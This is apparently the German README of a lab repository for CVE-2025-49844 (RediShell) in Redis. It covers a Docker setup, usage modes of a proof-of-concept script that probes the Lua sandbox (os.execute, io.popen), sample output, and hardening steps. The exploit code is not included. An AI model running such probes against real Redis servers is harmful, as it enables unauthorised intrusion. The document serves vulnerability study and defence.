
# Bildungslaborumgebung mit einem Proof-of-Concept-Exploit für CVE-2025-49844 (RediShell), eine kritische Use-after-Free-Schwachstelle im Redis-Lua-Interpreter, einschließlich Docker-Setup und Schwachstellenanalyse.
Eine praktische Laborumgebung zum Testen und Verstehen der kritischen CVE-2025-49844 (RediShell)-Schwachstelle in Redis.
Dies dient nur zu Bildungszwecken!
Alle Redis-Versionen vor:
Dieses Labor verwendet Redis 7.2.0 (verwundbare Version).
# Docker und Docker Compose installieren
sudo apt-get update
sudo apt-get install docker.io docker-compose
# Python-Abhängigkeiten installieren
pip install redis colorama
# 1. Verwundbare Redis-Instanz starten
docker-compose up -d
# 2. Ein paar Sekunden warten, bis Redis gestartet ist
sleep 5
# 3. Überprüfen, ob Redis läuft
docker-compose ps
# 4. Den Exploit ausführen
python3 exploit_poc.py -H localhost -p 6380 -m all
# Nur Schwachstelle prüfen
python3 exploit_poc.py -H localhost -p 6380 -m check
# Grundlegenden UAF-Test ausführen
python3 exploit_poc.py -H localhost -p 6380 -m basic
# Sandbox-Escape testen
python3 exploit_poc.py -H localhost -p 6380 -m sandbox
# Erweiterten Speicherkorruptions-Test ausführen
python3 exploit_poc.py -H localhost -p 6380 -m advanced
# Alle Tests ausführen
python3 exploit_poc.py -H localhost -p 6380 -m all
# Mit Authentifizierung
python3 exploit_poc.py -H localhost -p 6380 -a "password" -m all
# Logs anzeigen
docker-compose logs -f
# Mit Redis CLI verbinden
docker-compose exec redis-vulnerable redis-cli
# Labor stoppen
docker-compose down
# Alles entfernen (einschließlich Volumes)
docker-compose down -v
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-49844 (RediShell) PoC ║
║ Use-After-Free in Redis Lua Interpreter ║
║ CVSS Score: 10.0 (CRITICAL) ║
╚═══════════════════════════════════════════════════════════╝
[*] Testing connection to localhost:6380...
[+] Connected successfully!
[i] Redis Version: 7.2.0
[*] Checking if Lua scripting is enabled...
[+] Lua scripting is enabled!
[*] Checking vulnerability status...
[i] Detected Redis version: 7.2.0
[!] VULNERABLE: This version is affected by CVE-2025-49844
[!] Update to the latest patched version immediately!
[*] Attempting basic UAF trigger...
[+] Lua script executed: UAF pattern executed
[!] UAF pattern triggered (simplified demo)
[*] Testing Lua sandbox boundaries...
[*] Testing os.execute...
[+] Protected: os.execute blocked
[*] Testing io.popen...
[+] Protected: io.popen blocked
[*] Testing loadfile...
[+] Protected: loadfile blocked
[*] Testing package.loadlib...
[+] Protected: package.loadlib blocked
[*] Attempting memory corruption pattern...
[+] Memory corruption pattern executed: Memory corruption pattern completed
[!] In vulnerable versions, this could lead to RCE!
============================================================
[*] PoC execution completed
============================================================
Die Schwachstelle nutzt einen 13 Jahre alten Use-After-Free-Bug im Lua-Interpreter von Redis:
# Neueste gepatchte Version ziehen
docker pull redis:8.2.2
# oder
docker pull redis:7.4.6
# /etc/redis/redis.conf
# Authentifizierung aktivieren
requirepass your_strong_password_here
# Netzwerkzugriff einschränken
bind 127.0.0.1 ::1
protected-mode yes
# Gefährliche Befehle deaktivieren
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
rename-command EVALSHA ""
# Protokollierung aktivieren
loglevel notice
logfile /var/log/redis/redis-server.log
# Lua-Scripting für bestimmte Benutzer deaktivieren
redis-cli ACL SETUSER myuser -@scripting
# Eingeschränkten Benutzer erstellen
redis-cli ACL SETUSER limited on >password ~* +@read +@write -@scripting
# Firewall-Regeln verwenden
sudo ufw allow from 192.168.1.0/24 to any port 6379
sudo ufw deny 6379
# Oder iptables verwenden
sudo iptables -A INPUT -p tcp --dport 6379 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 6379 -j DROP
# Prüfen, was den Port verwendet
sudo lsof -i :6380
# Oder Port in docker-compose.yml ändern
# ports:
# - "6381:6379"
# Erforderliche Pakete installieren
pip install redis colorama
# Oder virtuelle Umgebung verwenden
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
# Benutzer zur Docker-Gruppe hinzufügen
sudo usermod -aG docker $USER
# Dann abmelden und erneut anmelden
# Logs prüfen
docker-compose logs
# Container neu starten
docker-compose restart
# Image neu erstellen
docker-compose up -d --build
redis_exploit/
├── Dockerfile # Redis 7.2.0 verwundbare Instanz
├── docker-compose.yml # Docker Compose-Konfiguration
├── exploit_poc.py # Haupt-Exploit-Skript
├── requirements.txt # Python-Abhängigkeiten
├── .gitignore # Git-Ignore-Datei
└── README.md # Diese Datei
Dieser PoC ist vereinfacht und dient nur zu Bildungszwecken. Der tatsächliche CVE-2025-49844-Exploit beinhaltet komplexe Speichermanipulation. Aktualisiere deine Redis-Instanzen immer auf die neueste Version!